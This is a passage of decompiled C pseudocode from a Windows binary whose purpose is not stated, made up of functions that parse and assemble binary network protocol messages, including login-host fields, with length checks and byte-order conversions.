  int v14; // [sp+8h] [bp-4h]@10

  v3 = a1;
  v2 = *(_DWORD *)a1;
  v4 = a2;
  if ( (unsigned int)(*(_DWORD *)(v3 + 4) - v2) < 0xB
    || (*(_DWORD *)(a2 + 4) = *(_DWORD *)v2, *(_DWORD *)(a2 + 8) = *(_DWORD *)(v2 + 4), v13 = *(_WORD *)(*(_DWORD *)v3 + 8), *(_WORD *)(a2 + 12) = *(_WORD *)(*(_DWORD *)v3 + 8), *(_WORD *)(a2 + 12) = htons_0(v13), v6 = *(_BYTE *)(*(_DWORD *)v3 + 10), *(_DWORD *)(v3 + 4) - *(_DWORD *)v3 < (unsigned int)(v6 + 11)) )
  {
    result = 0;
  }
  else
  {
    v10 = (char *)(*(_DWORD *)v3 + 11);
    v7 = *(_DWORD *)(v4 + 36);
    v9 = &v10[v6];
    v8 = v4 + 16;
    if ( v7 < 0x10 )
      v11 = v4 + 16;
    else
      v11 = *(_DWORD *)v8;
    if ( v7 < 0x10 )
      v12 = v8;
    else
      v12 = *(_DWORD *)v8;
    sub_4066C0(v8, v12, v11 + *(_DWORD *)(v8 + 16), v10, v9, v14);
    result = 1;
  }
  return result;
}

//----- (004030D0) --------------------------------------------------------
int __thiscall sub_4030D0(int this, char a2)
{
  int v2; // eax@1
  int v3; // ebx@1
  int v4; // esi@1
  char v6; // zf@5

  v4 = this;
  *(_DWORD *)this = &off_421508;
  v2 = *(_DWORD *)(this + 44);
  v3 = 0;
  if ( v2 )
  {
    sub_4061B0(v2, *(_DWORD *)(this + 48));
    operator delete(*(_DWORD *)(v4 + 44));
    v3 = 0;
  }
  *(_DWORD *)(v4 + 44) = v3;
  *(_DWORD *)(v4 + 48) = v3;
  *(_DWORD *)(v4 + 52) = v3;
  if ( *(_DWORD *)(v4 + 36) >= 0x10u )
    operator delete(*(_DWORD *)(v4 + 16));
  v6 = (a2 & 1) == 0;
  *(_DWORD *)(v4 + 36) = 15;
  *(_DWORD *)(v4 + 32) = v3;
  *(_BYTE *)(v4 + 16) = v3;
  if ( !v6 )
    operator delete(v4);
  return v4;
}

//----- (00403140) --------------------------------------------------------
int __fastcall sub_403140(int a1)
{
  int result; // eax@1
  int v2; // ebx@1
  int v3; // esi@1

  v3 = a1;
  *(_DWORD *)a1 = &off_421508;
  result = *(_DWORD *)(a1 + 44);
  v2 = 0;
  if ( result )
  {
    sub_4061B0(result, *(_DWORD *)(a1 + 48));
    result = operator delete(*(_DWORD *)(v3 + 44));
    v2 = 0;
  }
  *(_DWORD *)(v3 + 44) = v2;
  *(_DWORD *)(v3 + 48) = v2;
  *(_DWORD *)(v3 + 52) = v2;
  if ( *(_DWORD *)(v3 + 36) >= 0x10u )
    result = operator delete(*(_DWORD *)(v3 + 16));
  *(_DWORD *)(v3 + 32) = v2;
  *(_DWORD *)(v3 + 36) = 15;
  *(_BYTE *)(v3 + 16) = v2;
  return result;
}

//----- (004031A0) --------------------------------------------------------
char __userpurge sub_4031A0<al>(int a1<ebx>, int a2)
{
  int v2; // esi@2
  signed int v3; // ecx@3
  int v4; // edi@3
  int v5; // esi@3
  int v7; // esi@3
  u_short v8; // ax@3
  int v9; // eax@9
  int v10; // [sp+20h] [bp-10h]@3
  signed int v11; // [sp+10h] [bp-20h]@6
  signed int v12; // [sp+14h] [bp-1Ch]@6
  signed int v13; // [sp+18h] [bp-18h]@6
  signed int v14; // [sp+2Ch] [bp-4h]@6
  char v15; // [sp+Ch] [bp-24h]@6

  if ( (unsigned int)(*(_DWORD *)(a1 + 4) - *(_DWORD *)a1) >= 0xF )
  {
    v2 = a2;
    if ( sub_402C50(a1, a2) )
    {
      v7 = *(_DWORD *)(v2 + 32);
      v8 = htons_0(*(_WORD *)(v7 + *(_DWORD *)a1 + 13));
      v4 = v8;
      v3 = 0;
      v5 = v7 + 15;
      v10 = 0;
      if ( (signed int)v8 <= 0 )
        return (unsigned __int8)loc_402CE0(a2) != 0;
      while ( 1 )
      {
        v11 = v3;
        v12 = v3;
        v13 = v3;
        v14 = v3;
        if ( !sub_402630(v5, a1, (int)&v15) )
          break;
        v5 += v12 - v11 + 4;
        v14 = -1;
        if ( v11 )
          operator delete(v11);
        v9 = v10++ + 1;
        if ( v9 >= v4 )
          return (unsigned __int8)loc_402CE0(a2) != 0;
        v3 = 0;
      }
      if ( v11 )
        operator delete(v11);
    }
  }
  return 0;
}

//----- (004032A0) --------------------------------------------------------
char __usercall sub_4032A0<al>(int a1<eax>, int a2<ecx>)
{
  int v2; // eax@1
  unsigned int v3; // ecx@1
  int v4; // ebx@1
  int v5; // esi@1
  int v6; // edx@2
  char result; // al@5
  int v8; // eax@6
  int v9; // edi@6
  int v10; // eax@7
  int v11; // esi@7
  int v12; // eax@8
  unsigned int v13; // eax@10
  char *v14; // edx@10
  int v15; // ecx@10
  int v16; // ebx@11
  int v17; // esi@13
  signed int v18; // edx@1
  unsigned int v19; // eax@1
  char v20; // zf@1
  int v21; // edx@7
  int v22; // ecx@8
  u_short v23; // ax@10
  u_short v24; // ST10_2@10
  int v25; // [sp+Ch] [bp-4h]@7
  int v26; // [sp+8h] [bp-8h]@8

  v5 = *(_DWORD *)a1;
  v18 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(a1 + 4) - *(_DWORD *)a1)) >> 32) >> 3;
  v4 = a2;
  v19 = (unsigned int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(a1 + 4) - *(_DWORD *)a1)) >> 32) >> 31;
  v3 = 0;
  v20 = v18 + v19 == 0;
  v2 = v18 + v19;
  if ( v20 )
  {
LABEL_5:
    result = 0;
  }
  else
  {
    v6 = v5;
    while ( *(_WORD *)v6 != 2 )
    {
      ++v3;
      v6 += 20;
      if ( v3 >= v2 )
        goto LABEL_5;
    }
    v9 = v5 + 20 * v3 + 4;
    v8 = *(_DWORD *)v9;
    if ( (unsigned int)(*(_DWORD *)(v5 + 20 * v3 + 8) - *(_DWORD *)v9) >= 0xC
      && (v11 = htons_0(*(_WORD *)(v8 + 2)), v10 = *(_DWORD *)v9, v21 = *(_DWORD *)(v9 + 4) - *(_DWORD *)v9, v25 = v11, v21 >= (unsigned int)(v11 + 12))
      && (v22 = (unsigned __int16)(htons_0(*(_WORD *)(v10 + v11 + 6)) - 4), v12 = *(_DWORD *)v9, v26 = v22, *(_DWORD *)(v9 + 4) - v12 >= (unsigned int)(v22 + v11 + 12)) )
    {
      v23 = *(_WORD *)(v12 + v11 + 8);
      *(_WORD *)v4 = v23;
      *(_WORD *)v4 = htons_0(v23);
      v24 = *(_WORD *)(v11 + *(_DWORD *)v9 + 10);
      *(_WORD *)(v4 + 2) = *(_WORD *)(v11 + *(_DWORD *)v9 + 10);
      *(_WORD *)(v4 + 2) = htons_0(v24);
      v13 = *(_DWORD *)(v4 + 24);
      v14 = (char *)(v11 + 12 + *(_DWORD *)v9);
      v15 = v4 + 4;
      if ( v13 < 0x10 )
        v16 = v4 + 4;
      else
        v16 = *(_DWORD *)v15;
      v17 = v16 + *(_DWORD *)(v15 + 16);
      if ( v13 < 0x10 )
      {
        sub_4066C0(v15, v15, v17, v14, &v14[v26], v26);
        result = 1;
      }
      else
      {
        sub_4066C0(v15, *(_DWORD *)v15, v17, v14, &v14[v26], v26);
        result = 1;
      }
    }
    else
    {
      result = 0;
    }
  }
  return result;
}

//----- (004033D0) --------------------------------------------------------
int __thiscall sub_4033D0(int this, int a2)
{
  int ST04_4_0; // ST04_4@0
  int ST08_4_0; // ST08_4@0
  int ST0C_4_0; // ST0C_4@0
  int ST10_4_0; // ST10_4@0
  int v6; // ecx@1
  int v7; // edi@1
  int v8; // esi@1
  int *v9; // esi@2
  const void *v10; // eax@5
  int v11; // edi@9
  void *v13; // eax@4
  int v14; // ST1C_4@7
  int *v15; // [sp+80h] [bp-14h]@1
  int v16; // [sp+5Ch] [bp-38h]@1
  void *Dst; // [sp+60h] [bp-34h]@1
  int v18; // [sp+64h] [bp-30h]@1
  int v19; // [sp+90h] [bp-4h]@5
  signed int v20; // [sp+70h] [bp-24h]@5
  signed int v21; // [sp+74h] [bp-20h]@5
  signed int v22; // [sp+78h] [bp-1Ch]@5
  int v23; // [sp+4Ch] [bp-48h]@7
  int v24; // [sp+50h] [bp-44h]@7
  int v25; // [sp+54h] [bp-40h]@7
  __int16 v26; // [sp+48h] [bp-4Ch]@7
  signed int v27; // [sp+24h] [bp-70h]@7
  int v28; // [sp+20h] [bp-74h]@7
  int v29; // [sp+10h] [bp-84h]@7
  __int16 v30; // [sp+6Ch] [bp-28h]@7
  int v31; // [sp+38h] [bp-5Ch]@9
  int v32; // [sp+3Ch] [bp-58h]@9
  int v33; // [sp+40h] [bp-54h]@9
  __int16 v34; // [sp+34h] [bp-60h]@9

  v7 = this;
  v6 = *(_DWORD *)(this + 20) + 13;
  v8 = 0;
  v15 = (int *)v6;
  v16 = 0;
  Dst = 0;
  v18 = 0;
  if ( v6 )
  {
    sub_405AD0((int)&v16, v6);
    v9 = v15;
    if ( (char *)v15 + v16 - (_DWORD)Dst )
      memset(Dst, 0, (size_t)((char *)v15 + v16 - (_DWORD)Dst));
    v13 = (char *)v9 + v16;
    v8 = v16;
    Dst = v13;
  }
  v19 = 0;
  v20 = 16777477;
  *(_DWORD *)v8 = 16777477;
  v21 = 65793;
  *(_DWORD *)(v8 + 4) = 65793;
  v22 = -16777190;
  *(_DWORD *)(v8 + 8) = -16777190;
  *(_BYTE *)(v8 + 12) = -1;
  *(_WORD *)(v8 + 7) = htons(*(_WORD *)(v7 + 20) + 4);
  *(_WORD *)(v8 + 9) = htons(*(_WORD *)v7);
  *(_WORD *)(v8 + 11) = htons(*(_WORD *)(v7 + 2));
  v10 = (const void *)(v7 + 4);
  if ( *(_DWORD *)(v7 + 24) >= 0x10u )
    v10 = *(const void **)v10;
  memcpy((void *)(v8 + 13), v10, *(_DWORD *)(v7 + 20));
  v23 = 0;
  v24 = 0;
  v25 = 0;
  LOBYTE(v19) = 1;
  sub_405570((int)&v16, (int)&v23);
  v26 = 2;
  LOBYTE(v19) = 2;
  v27 = 15;
  v28 = 0;
  LOBYTE(v29) = 0;
  setLoginHost(byte_4212B9, 0, (int)&v29);
  v20 = 0;
  v21 = 0;
  v22 = 0;
  LOBYTE(v19) = 4;
  v15 = &ST04_4_0;
  LOBYTE(ST04_4_0) = 0;
  sub_401600((int)&ST04_4_0, -1, 0, (int)&v29);
  sub_402570((int)&v30, ST04_4_0, ST08_4_0, ST0C_4_0, ST10_4_0, 0, 0xFu, v14);
  v30 = 6;
  if ( (unsigned int)v27 >= 0x10 )
    operator delete(v29);
  v27 = 15;
  v28 = 0;
  LOBYTE(v29) = 0;
  LOBYTE(v19) = 5;
  v11 = a2;
  sub_405B50(a2, (int)&a2, *(_DWORD *)a2, *(_DWORD *)(a2 + 4));
  v31 = 0;
  v32 = 0;
  v33 = 0;
  v34 = 3;
  LOBYTE(v19) = 7;
  sub_4056D0((unsigned int)&v34, v11);
  LOBYTE(v19) = 5;
  if ( v31 )
    operator delete(v31);
  sub_4056D0((unsigned int)&v30, v11);
  sub_4056D0((unsigned int)&v26, v11);
  if ( v20 )
    operator delete(v20);
  if ( v23 )
    operator delete(v23);
  return operator delete(v16);
}

//----- (00403600) --------------------------------------------------------
char __usercall sub_403600<al>(int a1<ebx>, int a2<esi>)
{
  u_short *v2; // eax@2
  u_short *v3; // eax@3
  int v4; // eax@5
  int v5; // eax@7
  int v6; // eax@9
  int v7; // ecx@10
  u_short v9; // ax@2
  char v10; // al@10
  int (__stdcall **v11)(char); // [sp+8h] [bp-20h]@4
  int v12; // [sp+Ch] [bp-1Ch]@4
  int v13; // [sp+10h] [bp-18h]@4
  int v14; // [sp+14h] [bp-14h]@4
  int v15; // [sp+24h] [bp-4h]@4

  if ( (unsigned int)(*(_DWORD *)(a2 + 4) - *(_DWORD *)a2) >= 2 )
  {
    v9 = **(_WORD **)a2;
    *(_WORD *)a1 = v9;
    *(_WORD *)a1 = htons_0(v9);
    v2 = *(u_short **)a2;
    if ( (unsigned int)(*(_DWORD *)(a2 + 4) - *(_DWORD *)a2) >= 0xA )
    {
      *(_DWORD *)(a1 + 2) = *(_DWORD *)(v2 + 1);
      *(_DWORD *)(a1 + 6) = *(_DWORD *)(v2 + 3);
      v3 = *(u_short **)a2;
      if ( (unsigned int)(*(_DWORD *)(a2 + 4) - *(_DWORD *)a2) >= 0x1A )
      {
        *(_DWORD *)(a1 + 10) = *(_DWORD *)(v3 + 5);
        *(_DWORD *)(a1 + 14) = *(_DWORD *)(v3 + 7);
        *(_DWORD *)(a1 + 18) = *(_DWORD *)(v3 + 9);
        *(_DWORD *)(a1 + 22) = *(_DWORD *)(v3 + 11);
        v11 = &off_4214E8;
        v12 = 0;
        v13 = 0;
        v14 = 0;
        v15 = 0;
        if ( (unsigned __int8)loc_402780(&v11, a2, 26)
          && ((v4 = sub_402B70((int)&v11, 4), !v4) || sub_402490(v4, a1 + 28))
          && ((v5 = sub_402B70((int)&v11, 5), !v5) || sub_4023B0(v5, a1 + 32))
          && (v6 = sub_402B70((int)&v11, 10001), v6) )
        {
          v10 = sub_403B40(a1 + 36, v6 + 4, 0);
          v7 = (int)&v11;
          if ( v10 )
          {
            sub_402740((int)&v11);
            return 1;
          }
        }
        else
        {
          v7 = (int)&v11;
        }
        sub_402740(v7);
      }
    }
  }
  return 0;
}

//----- (00403740) --------------------------------------------------------
int __fastcall sub_403740(int a1, int a2)
{
  const void *v2; // eax@1
  int v3; // edx@1
  _WORD *v4; // ecx@1
  int v5; // ebx@1
  int v6; // esi@1
  size_t v7; // eax@5
  int v8; // edi@18
  int result; // eax@20
  int v10; // eax@5
  char v11; // zf@5
  _WORD *v12; // eax@8
  int v13; // eax@8
  u_long v14; // eax@8
  u_short v15; // ax@10
  int v16; // [sp+3Ch] [bp-24h]@1
  int v17; // [sp+40h] [bp-20h]@1
  int v18; // [sp+44h] [bp-1Ch]@1
  int v19; // [sp+5Ch] [bp-4h]@1
  int v20; // [sp+4Ch] [bp-14h]@2
  int v21; // [sp+50h] [bp-10h]@3
  int (__stdcall **v22)(char); // [sp+28h] [bp-38h]@8
  int v23; // [sp+2Ch] [bp-34h]@8
  int v24; // [sp+30h] [bp-30h]@8
  int v25; // [sp+34h] [bp-2Ch]@8
  int v26; // [sp+18h] [bp-48h]@8
  int v27; // [sp+1Ch] [bp-44h]@8
  int v28; // [sp+20h] [bp-40h]@8
  __int16 v29; // [sp+14h] [bp-4Ch]@8

  v5 = a1;
  v6 = a2;
  v16 = 0;
  v17 = 0;
  v18 = 0;
  v19 = 0;
  sub_404350((int)&v16, a2 + 36, 0);
  v2 = *(const void **)(v5 + 4);
  v4 = *(_WORD **)v5;
  v3 = (int)((char *)v2 - *(_DWORD *)v5);
  if ( (unsigned int)v3 <= 0x1A )
  {
    if ( (unsigned int)v3 < 0x1A )
    {
      sub_405AD0(v5, (char *)v4 - v2 + 26);
      v10 = *(_DWORD *)v5 - *(_DWORD *)(v5 + 4);
      v11 = v10 == -26;
      v7 = v10 + 26;
      if ( !v11 )
        memset(*(void **)(v5 + 4), 0, v7);
      *(_DWORD *)(v5 + 4) = *(_DWORD *)v5 + 26;
    }
  }
  else
  {
    v20 = (int)(v4 + 13);
    if ( v4 + 13 != v2 )
    {
      v21 = 0;
      memmove(v4 + 13, v2, 0);
      *(_DWORD *)(v5 + 4) = v20 + v21;
    }
  }
  **(_WORD **)v5 = htons(*(_WORD *)v6);
  v12 = *(_WORD **)v5;
  *(_DWORD *)(*(_DWORD *)v5 + 2) = *(_DWORD *)(v6 + 2);
  *(_DWORD *)(v12 + 3) = *(_DWORD *)(v6 + 6);
  v13 = *(_DWORD *)v5;
  *(_DWORD *)(*(_DWORD *)v5 + 10) = *(_DWORD *)(v6 + 10);
  *(_DWORD *)(v13 + 14) = *(_DWORD *)(v6 + 14);
  *(_DWORD *)(v13 + 18) = *(_DWORD *)(v6 + 18);
  *(_DWORD *)(v13 + 22) = *(_DWORD *)(v6 + 22);
  v22 = &off_4214E8;
  v23 = 0;
  v24 = 0;
  v25 = 0;
  v14 = *(_DWORD *)(v6 + 28);
  v26 = 0;
  v27 = 0;
  v28 = 0;
  LOBYTE(v19) = 2;
  sub_4024C0(v14, (int)&v29);
  v29 = 3;
  LOBYTE(v19) = 3;
  sub_4056D0((unsigned int)&v29, (int)&v23);
  if ( v26 )
    operator delete(v26);
  v15 = *(_WORD *)(v6 + 32);
  v26 = 0;
  v27 = 0;
  v28 = 0;
  LOBYTE(v19) = 4;
  sub_4023E0(v15, (int)&v29);
  v29 = 5;
  LOBYTE(v19) = 5;
  sub_4056D0((unsigned int)&v29, (int)&v23);
  if ( v26 )
    operator delete(v26);
  v26 = 0;
  v27 = 0;
  v28 = 0;
  LOBYTE(v19) = 6;
  sub_4023E0(1u, (int)&v29);
  v29 = 10;
  LOBYTE(v19) = 7;
  sub_4056D0((unsigned int)&v29, (int)&v23);
  if ( v26 )
    operator delete(v26);
  v26 = 0;
  v27 = 0;
  v28 = 0;
  v29 = 15;
  LOBYTE(v19) = 9;
  sub_4056D0((unsigned int)&v29, (int)&v23);
  if ( v26 )
    operator delete(v26);
  v26 = 0;
  v27 = 0;
  v28 = 0;
  LOBYTE(v19) = 10;
  sub_405570((int)&v16, (int)&v26);
  v29 = 10001;
  LOBYTE(v19) = 11;
  sub_4056D0((unsigned int)&v29, (int)&v23);
  LOBYTE(v19) = 1;
  if ( v26 )
    operator delete(v26);
  loc_4029C0(&v22, v5, 26);
  v8 = v23;
  if ( v23 )
  {
    sub_4061B0(v23, v24);
    operator delete(v8);
  }
  result = v16;
  if ( v16 )
    result = operator delete(v16);
  return result;
}

//----- (004039B0) --------------------------------------------------------
int __usercall sub_4039B0<eax>(int result<eax>)
{
  *(_DWORD *)(result + 28) = 0;
  *(_DWORD *)(result + 32) = 15;
  *(_BYTE *)(result + 12) = 0;
  *(_DWORD *)(result + 68) = 15;
  *(_DWORD *)(result + 64) = 0;
  *(_BYTE *)(result + 48) = 0;
  *(_DWORD *)(result + 116) = 15;
  *(_DWORD *)(result + 112) = 0;
  *(_BYTE *)(result + 96) = 0;
  *(_DWORD *)(result + 144) = 15;
  *(_DWORD *)(result + 140) = 0;
  *(_BYTE *)(result + 124) = 0;
  *(_DWORD *)(result + 172) = 15;
  *(_DWORD *)(result + 168) = 0;
  *(_BYTE *)(result + 152) = 0;
  *(_DWORD *)(result + 204) = 15;
  *(_DWORD *)(result + 200) = 0;
  *(_BYTE *)(result + 184) = 0;
  *(_DWORD *)(result + 232) = 15;
  *(_DWORD *)(result + 228) = 0;
  *(_BYTE *)(result + 212) = 0;
  *(_DWORD *)(result + 40) = 0;
  *(_DWORD *)(result + 44) = -1;
  *(_BYTE *)(result + 47) = 0;
  return result;
}

//----- (00403A30) --------------------------------------------------------
int __usercall sub_403A30<eax>(int a1<esi>)
{
  int result; // eax@2

  if ( *(_DWORD *)(a1 + 232) >= 0x10u )
    result = operator delete(*(_DWORD *)(a1 + 212));
  *(_DWORD *)(a1 + 232) = 15;
  *(_DWORD *)(a1 + 228) = 0;
  *(_BYTE *)(a1 + 212) = 0;
  if ( *(_DWORD *)(a1 + 204) >= 0x10u )
    result = operator delete(*(_DWORD *)(a1 + 184));
  *(_DWORD *)(a1 + 204) = 15;
  *(_DWORD *)(a1 + 200) = 0;
  *(_BYTE *)(a1 + 184) = 0;
  if ( *(_DWORD *)(a1 + 172) >= 0x10u )
    result = operator delete(*(_DWORD *)(a1 + 152));
  *(_DWORD *)(a1 + 172) = 15;
  *(_DWORD *)(a1 + 168) = 0;
  *(_BYTE *)(a1 + 152) = 0;
  if ( *(_DWORD *)(a1 + 144) >= 0x10u )
    result = operator delete(*(_DWORD *)(a1 + 124));
  *(_DWORD *)(a1 + 144) = 15;
  *(_DWORD *)(a1 + 140) = 0;
  *(_BYTE *)(a1 + 124) = 0;
  if ( *(_DWORD *)(a1 + 116) >= 0x10u )
    result = operator delete(*(_DWORD *)(a1 + 96));
  *(_DWORD *)(a1 + 116) = 15;
  *(_DWORD *)(a1 + 112) = 0;
  *(_BYTE *)(a1 + 96) = 0;
  if ( *(_DWORD *)(a1 + 68) >= 0x10u )
    result = operator delete(*(_DWORD *)(a1 + 48));
  *(_DWORD *)(a1 + 68) = 15;
  *(_DWORD *)(a1 + 64) = 0;
  *(_BYTE *)(a1 + 48) = 0;
  if ( *(_DWORD *)(a1 + 32) >= 0x10u )
    result = operator delete(*(_DWORD *)(a1 + 12));
  *(_DWORD *)(a1 + 32) = 15;
  *(_DWORD *)(a1 + 28) = 0;
  *(_BYTE *)(a1 + 12) = 0;
  return result;
}

//----- (00403B40) --------------------------------------------------------
char __fastcall sub_403B40(int a1, int a2, int a3)
{
  int v3; // edx@1
  int v4; // ecx@1
  int v5; // ebx@1
  int v6; // esi@1
  int v8; // eax@4
  int v9; // edx@5
  int v10; // ecx@5
  _QWORD *v11; // edx@6
  int v12; // edi@6
  int v13; // eax@10
  int v14; // eax@11
  int v15; // eax@12
  int v16; // ecx@12
  int v17; // eax@13
  int v18; // edx@14
  int v19; // ecx@14
  unsigned int v20; // edi@14
  char v21; // al@15
  char v22; // al@24
  int v23; // eax@25
  int v24; // edx@26
  int v25; // eax@27
  int v26; // ecx@27
  int v27; // ebx@27
  unsigned int v28; // edx@28
  int v29; // eax@29
  unsigned int v30; // edi@29
  int v31; // esi@29
  int v32; // eax@31
  int v33; // edx@31
  int v34; // ecx@31
  signed int v35; // edx@33
  _QWORD *v36; // ecx@33
  int v37; // edi@36
  int v38; // eax@38
  int v39; // edx@38
  int v40; // ecx@38
  int v41; // eax@40
  int v42; // ebx@40
  int v43; // edx@41
  int v44; // edi@9
  __int16 v45; // ax@37
  unsigned int v46; // edi@39
  int v47; // edi@39
  int  s; // [sp+30h] [bp+0h]@1
  unsigned int v49; // [sp+2Ch] [bp-4h]@1
  int v50; // [sp+Ch] [bp-24h]@1
  _DWORD v51[3]; // [sp+1Ch] [bp-14h]@5
  int v52; // [sp+25h] [bp-Bh]@5
  __int16 v53; // [sp+29h] [bp-7h]@5
  char v54; // [sp+2Bh] [bp-5h]@5
  int v55; // [sp+10h] [bp-20h]@6
  int v56; // [sp+14h] [bp-1Ch]@6
  unsigned int v57; // [sp+18h] [bp-18h]@6

  v49 = (unsigned int)& s ^ dword_426018;
  v5 = a2;
  v6 = a1;
  v4 = *(_DWORD *)a2;
  v3 = *(_DWORD *)(a2 + 4) - *(_DWORD *)a2;
  v50 = v6;
  if ( v3 >= (unsigned int)(a3 + 2) )
  {
    if ( *(_WORD *)(v4 + a3) == 27 )
    {
      v8 = a3 + 4;
      if ( v3 >= (unsigned int)(a3 + 4) )
      {
        *(_WORD *)v6 = *(_WORD *)(v4 + a3 + 2);
        v9 = *(_DWORD *)v5;
        LOBYTE(v51[0]) = 0;
        *(_QWORD *)((char *)&v51[0] + 1) = 0i64;
        v52 = 0;
        v53 = 0;
        v54 = 0;
        v10 = *(_DWORD *)(v5 + 4) - v9;
        if ( v10 >= (unsigned int)(v8 + 16) )
        {
          v55 = (int)v51;
          v12 = v9 + v8 - (_DWORD)v51;
          v11 = (_QWORD *)v51;
          v56 = 16;
          v57 = v12;
          while ( 1 )
          {
            if ( *(_DWORD *)((char *)v11 + v12) != *(_DWORD *)v11 )
              return 0;
            v44 = v56 - 4;
            v11 = (char *)v11 + 4;
            v56 -= 4;
            if ( (unsigned int)v44 < 4 )
              break;
            v12 = v57;
          }
          v13 = v8 + 27;
          if ( v10 >= (unsigned int)(v13 + 2) )
          {
            *(_WORD *)(v6 + 2) = *(_WORD *)(*(_DWORD *)v5 + v13);
            v14 = v13 + 14;
            if ( *(_DWORD *)(v5 + 4) - *(_DWORD *)v5 >= (unsigned int)(v14 + 2) )
            {
              *(_BYTE *)(v6 + 4) = *(_BYTE *)(*(_DWORD *)v5 + v14);
              *(_BYTE *)(v6 + 5) = *(_BYTE *)(v14 + *(_DWORD *)v5 + 1);
              v15 = v14 + 2;
              v16 = v15 + 2;
              if ( *(_DWORD *)(v5 + 4) - *(_DWORD *)v5 >= (unsigned int)(v15 + 2) )
              {
                *(_WORD *)(v6 + 6) = *(_WORD *)(*(_DWORD *)v5 + v15);
                v17 = v15 + 4;
                if ( *(_DWORD *)(v5 + 4) - *(_DWORD *)v5 >= (unsigned int)(v16 + 2) )
                {
                  *(_WORD *)(v6 + 8) = *(_WORD *)(*(_DWORD *)v5 + v16);
                  v19 = *(_DWORD *)v5;
                  v20 = *(_DWORD *)(v5 + 4) - *(_DWORD *)v5;
                  v18 = v17 + 2;
                  if ( v20 >= v17 + 2 )
                  {
                    v57 = *(_WORD *)(v19 + v17);
                    v21 = *(_BYTE *)(v6 + 4);
                    if ( v21 == 1 || v21 == 26 || v21 == -24 || v21 == -23 || v21 == -22 || v21 == -21 || v21 == -20 )
                    {
                      if ( (_WORD)v57 >= 1u )
                      {
                        v57 = (unsigned __int16)v57;
                        v56 = v18 + (unsigned __int16)v57;
                        if ( v20 >= v18 + (unsigned int)(unsigned __int16)v57 )
                        {
                          setLoginHost((const void *)(v19 + v18), v57 - 1, v6 + 12);
                          v22 = *(_BYTE *)(v50 + 4);
                          if ( v22 == 1 )
                          {
                            v23 = v56 + 4;
                            if ( *(_DWORD *)(v5 + 4) - *(_DWORD *)v5 >= (unsigned int)(v56 + 4) )
                            {
                              *(_DWORD *)(v50 + 40) = *(_DWORD *)(*(_DWORD *)v5 + v56);
                              v24 = v23 + 4;
                              if ( *(_DWORD *)(v5 + 4) - *(_DWORD *)v5 >= (unsigned int)(v23 + 4) )
                              {
                                *(_DWORD *)(v50 + 44) = *(_DWORD *)(*(_DWORD *)v5 + v23);
                                v25 = *(_DWORD *)v5;
                                v27 = *(_DWORD *)(v5 + 4) - *(_DWORD *)v5;
                                v26 = v24 + 4;
                                if ( v27 >= (unsigned int)(v24 + 4) )
                                {
                                  v28 = *(_DWORD *)(v25 + v24);
                                  if ( v27 >= v26 + v28 )
                                  {
                                    v29 = v26 + v25;
                                    v31 = v50 + 48;
                                    v30 = v28;
LABEL_44:
                                    setLoginHost((const void *)v29, v30, v31);
                                  }
                                }
                              }
                            }
                            return 1;
                          }
                          if ( v22 != 26 )
                            return 1;
                          v33 = *(_DWORD *)v5;
                          v32 = *(_DWORD *)(v5 + 4) - *(_DWORD *)v5;
                          v34 = v56 + 2;
                          if ( v32 >= (unsigned int)(v56 + 2) )
                          {
                            v57 = v56 + 18;
                            if ( v32 >= (unsigned int)(v56 + 18) )
                            {
                              *(_DWORD *)(v50 + 76) = *(_DWORD *)(v33 + v34);
                              *(_DWORD *)(v50 + 80) = *(_DWORD *)(v33 + v34 + 4);
                              *(_DWORD *)(v50 + 84) = *(_DWORD *)(v33 + v34 + 8);
                              *(_DWORD *)(v50 + 88) = *(_DWORD *)(v33 + v34 + 12);
                              v36 = (_QWORD *)v51;
                              v51[0] = -273457093;
                              *(_QWORD *)&v51[1] = 6529340555924351704i64;
                              *(int *)((char *)&v52 + 3) = 1709729630;
                              v35 = 16;
                              while ( *(_DWORD *)((char *)v36 + v50 + 76 - (_DWORD)v51) == *(_DWORD *)v36 )
                              {
                                v35 -= 4;
                                v36 = (char *)v36 + 4;
                                if ( (unsigned int)v35 < 4 )
                                {
                                  v37 = v57 + 2;
                                  if ( *(_DWORD *)(v5 + 4) - *(_DWORD *)v5 >= v57 + 2 )
                                  {
                                    v45 = *(_WORD *)(*(_DWORD *)v5 + v57);
                                    *(_WORD *)(v50 + 92) = v45;
                                    if ( v45 == 8 )
                                    {
                                      v38 = *(_DWORD *)v5;
                                      v39 = *(_DWORD *)(v5 + 4) - *(_DWORD *)v5;
                                      v40 = v37 + 4;
                                      if ( v39 >= (unsigned int)(v37 + 4) )
                                      {
                                        v46 = *(_DWORD *)(v38 + v37);
                                        v57 = v46;
                                        v47 = v40 + v46;
                                        v55 = v47;
                                        if ( v39 >= (unsigned int)v47 )
                                        {
                                          setLoginHost((const void *)(v40 + v38), v57, v50 + 96);
                                          v41 = *(_DWORD *)v5;
                                          v42 = *(_DWORD *)(v5 + 4) - *(_DWORD *)v5;
                                          if ( v42 >= (unsigned int)(v55 + 19) )
                                          {
                                            v43 = v55 + 23;
                                            if ( v42 >= (unsigned int)(v55 + 23) )
                                            {
                                              v30 = *(_DWORD *)(v41 + v55 + 19);
                                              if ( v42 >= v43 + v30 )
                                              {
                                                v29 = v43 + v41;
                                                v31 = v50 + 124;
                                                goto LABEL_44;
                                              }
                                            }
                                          }
                                        }
                                      }
                                    }
                                  }
                                  return 0;
                                }
                              }
                            }
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
  return 0;
}

//----- (00403E80) --------------------------------------------------------
char __stdcall sub_403E80(int a1)
{
  int v1; // esi@1
  int v2; // eax@5
  int v3; // ecx@5
  int v4; // eax@6
  int v5; // ebx@6
  int v6; // ecx@7
  int v7; // eax@8
  int v8; // ecx@8
  int v9; // eax@9
  int v10; // ebx@9
  int v11; // eax@11
  int v12; // ecx@11
  int v13; // eax@12
  int v14; // ebx@12
  int v15; // ecx@13
  int v17; // eax@18
  int v18; // ecx@18
  int v19; // eax@19
  int v20; // ebx@19
  int v21; // eax@20
  int  s; // [sp+98h] [bp+0h]@1
  unsigned int v23; // [sp+88h] [bp-10h]@1
  int v24; // [sp+Ch] [bp-8Ch]@1
  int v25; // [sp+10h] [bp-88h]@1
  int v26; // [sp+14h] [bp-84h]@6
  char v27; // [sp+6Ch] [bp-2Ch]@7
  int v28; // [sp+94h] [bp-4h]@7
  char v29; // [sp+50h] [bp-48h]@10
  char v30; // [sp+34h] [bp-64h]@13
  char v31; // [sp+18h] [bp-80h]@20

